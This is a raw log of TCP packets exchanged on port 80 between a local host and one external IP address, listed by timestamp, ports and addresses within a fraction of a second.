Nov 23, 2024 13:28:12.498764038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.498809099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.499598026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.499716997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.499722004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.499778986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.500596046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.500653982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.500673056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.500729084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.501559973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.501616955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.501661062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.501718044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.502839088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.502887011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.502966881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.503134012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.503557920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.503664017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.503719091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.503719091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.504524946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.504626036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.504647017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.504719973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.505515099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.505584955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.505630016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.505705118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.506478071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.506546021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.506591082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.506647110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.507455111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.507584095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.507778883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.508445978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.508562088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.508588076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.508682966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.509476900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.509529114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.509567976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.509637117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.510469913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.510531902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.510674000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.510751963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.511408091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.511516094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.511574030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.512399912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.512455940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.512495041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.512701035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.513355970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.513413906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.513501883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.513571978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.514343977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.514450073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.514484882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.514556885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.515364885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.515425920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.515532970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.515583992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.516347885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.516407967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.516493082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.516544104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.517292023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.517350912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.517416954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.517559052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.518316031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.518405914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.518471003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.518529892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.519320011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.519402981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.519418001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.519473076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.520273924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.520334959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.520406961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.520462990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.521259069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.521368980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.521389008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.521437883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.522253990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.522320986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.522350073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.522366047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.523226976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.523276091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.523308992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.523356915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.524195910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.524254084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.524266958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.524322987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.525207043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.525223970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.525366068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.526170969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.526226044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.526277065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.526361942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.527170897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.527219057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.527278900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.527339935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.528147936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.528223038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.528353930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.529094934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.529155970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.529185057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.529231071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.530081987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.530183077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.530188084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.530312061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.531073093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.531125069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.531168938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.531451941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.532042027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.532095909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.532138109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.532217979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.532989025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.533080101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.683058023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.683132887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.683440924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.683469057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.683543921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.683619022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.684447050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.684519053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.684582949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.685396910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.685481071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.685523033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.685847998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.686371088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.686465979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.686485052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.686784029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.687345982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.687470913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.687575102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.688369036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.688463926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.688478947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.688783884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.689325094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.689440966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.689512968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.690385103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.690469980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.690490961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.690642118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.691289902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.691411972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.691462040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.692264080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.692332983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.692339897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.692428112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.693248987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.693352938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.693628073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.694258928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.694314003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.694353104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.694403887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.695223093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.695297956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.695342064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.695393085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.696206093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.696326017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.696352005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.696393967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.697268963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.697328091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.697335005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.697421074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.698203087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.698246956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.698313951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.698368073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.699167967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.699260950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.699291945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.699397087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.700136900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.700211048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.700248003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.700455904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.701097965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.701205015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.701231003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.701292992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.702111959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.702172041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.702229023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.702308893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.703083038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.703183889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.703193903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.703236103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.704092026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.704190969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.704217911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.704245090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.705065966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.705168962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.705204010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.705250025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.706027031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.706181049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.706202030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.706299067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.707036972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.707083941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.707128048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.707246065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.708009958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.708139896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.708205938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.708986044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.709078074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.709115028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.709161043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.709959984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.710026979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.710108995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.710164070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.710957050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.711071014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.711082935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.711170912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.711947918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.711998940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.712052107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.712107897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.712924004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.713047028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.713176012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.713901043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.714010954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.714011908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.714083910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.714894056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.714957952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.714994907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.715102911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.715886116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.716012955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.716017008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.716070890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.716892004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.716978073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.717006922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.717053890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.717891932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.717958927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.718122005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.718825102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.718877077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.718941927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.719012976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.719815969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.719868898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.719883919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.719964981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.720783949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.720889091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.720918894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.720976114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.721776009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.721844912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.721875906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.721951008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.722801924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.722875118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.723023891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.723733902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.723783970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.723819971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.723882914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.724744081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.724826097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.724848032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.724898100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.725723982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.725847006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.725882053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.725956917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.726741076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.726790905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.726820946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.726867914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.727698088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.727778912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.727895021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.727946997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.728661060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.728791952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.728898048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.728898048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.729648113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.729737043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.729764938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.729851007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.730662107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.730757952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.730796099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.730865955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.731604099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.731702089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.731733084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.731842995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.732584953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.732644081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.732724905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.732783079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.733581066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.733690023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.733797073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.734488964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.734563112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.884196997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.884243011 CET	80	49729	31.41.244.11	192.168.2.6
